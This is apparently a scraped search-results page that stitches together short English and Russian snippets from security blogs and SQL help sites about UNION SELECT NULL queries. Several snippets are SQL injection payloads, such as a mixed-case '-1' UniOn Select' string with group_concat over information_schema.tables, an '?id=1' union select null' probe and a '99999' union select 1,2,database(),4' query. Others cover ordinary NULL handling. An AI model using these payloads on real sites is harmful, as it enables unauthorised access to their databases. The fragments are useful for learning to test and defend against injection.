Select more and more null values until the query is correct Tables of a database -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] #.

  book.hacktricks.xyz

?id=1' union select null,null,table_name,null from information_schema.tables Это стало возможным благодаря добавлению таблицы information_schema в MySQL 5.0+ и по ее наличию также можно косвенно определить версию используемой БД.

  habr.com

  defcon.ru

SELECT * (that are NOT NULL) FROM table. SELECT * FROM table WHERE YourColumn IS NOT NULL; Just for completeness I'll mention that in MySQL you can also negate the null safe equality operator but this is not standard SQL.

  www.gangofcoders.net

  stackoverflow.com

So three NULLs were reduced to just one NULL. We can use the ALL keyword to include all duplicates, and that includes duplicate NULLs: Select null union all select null union all select null

  database.guide

Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. When you do a UNION query, both SELECT statements of the query must have the same number of columns.

  www.codeproject.com

Select column_name from information_schema.columns where table_schema=database() and table_name='tablenamehere'. SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role.

  vk9-sec.com

CREATE TABLE login ( id INT NOT NULL AUTO_INCREMENT, nickname VARCHAR(30) NOT NULL, login VARCHAR(40) NOT NULL, statement INT NOT NULL, PRIMARY KEY(id) ) Отправляем запрос 99999' union select 1,2,database(),4 -- - Вот и наша базка golden_key.

  codeby.net

Use union select null, null, null is the same. information_schema mysql greater than 5.0 of the library version of the database and stores all information mysql table structure, it is possible using information_schema library was quickly injected.

  programmersought.com

Page generated - 0.7194268703 (7b075cf4b641d515633fde560bc3df7c)